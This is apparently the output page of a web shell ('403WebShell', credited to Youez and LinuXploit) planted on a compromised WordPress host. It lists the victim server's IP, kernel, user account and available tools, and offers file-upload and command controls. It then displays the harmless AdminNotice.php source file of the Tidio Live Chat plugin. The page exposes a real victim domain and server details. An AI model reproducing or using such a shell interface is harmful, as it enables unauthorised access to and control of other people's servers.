Warning: chmod(): No such file or directory in /home/tuempresavirtual.cl/public_html/wp-content/plugins/appointment-hour-booking/app-booking-plugin.php on line 3
403WebShell
403Webshell
Server IP : 186.64.123.29  /  Your IP : 216.73.217.94
Web Server : LiteSpeed
System : Linux house.hostinglat.cl 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : tuemp9827 ( 1016)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tuempresavirtual.cl/public_html/wp-content/plugins/tidio-live-chat/src/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tuempresavirtual.cl/public_html/wp-content/plugins/tidio-live-chat/src/Admin/AdminNotice.php
<?php

namespace TidioLiveChat\Admin;

if (!defined('WPINC')) {
    die('File loaded directly. Exiting.');
}

use TidioLiveChat\Admin\Notice\DismissibleNoticeService;
use TidioLiveChat\Admin\Notice\Exception\NoticeNameIsNotAllowedException;
use TidioLiveChat\IntegrationState;
use TidioLiveChat\Translation\ErrorTranslator;
use TidioLiveChat\Utils\QueryParameters;

class AdminNotice
{
    /** @var ErrorTranslator */
    private $errorTranslator;
    /** @var DismissibleNoticeService */
    private $dismissibleNoticeService;
    /** @var IntegrationState */
    private $integrationState;

    /**
     * @param ErrorTranslator $errorTranslator
     * @param DismissibleNoticeService $dismissibleNoticeService
     * @param IntegrationState $integrationState
     */
    public function __construct($errorTranslator, $dismissibleNoticeService, $integrationState)
    {
        $this->errorTranslator = $errorTranslator;
        $this->dismissibleNoticeService = $dismissibleNoticeService;
        $this->integrationState = $integrationState;
    }

    public function load()
    {
        add_action('admin_notices', [$this, 'addAdminErrorNotice']);
        add_action('admin_notices', [$this, 'addLyroAIChatbotNotice']);
    }

    public function addAdminErrorNotice()
    {
        if (!QueryParameters::has('error')) {
            return;
        }

        $errorCode = QueryParameters::get('error');
        $errorMessage = $this->errorTranslator->translate($errorCode);
        echo sprintf('<div class="notice notice-error is-dismissible"><p>%s</p></div>', $errorMessage);
    }

    public function addLyroAIChatbotNotice()
    {
        if (!$this->integrationState->isPluginIntegrated()) {
            return;
        }

        $this->displayDismissibleNotice(
            __DIR__ . '/Notice/Views/LyroAIChatbotNotice.php',
            DismissibleNoticeService::LYRO_AI_CHATBOT_NOTICE
        );
    }

    /**
     * @param string $templatePath
     * @param string $noticeName
     * @return void
     */
    private function displayDismissibleNotice($templatePath, $noticeName)
    {
        try {
            $this->dismissibleNoticeService->displayNotice($templatePath, $noticeName);
        } catch (NoticeNameIsNotAllowedException $exception) {
            // do not display notice if notice name is invalid
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit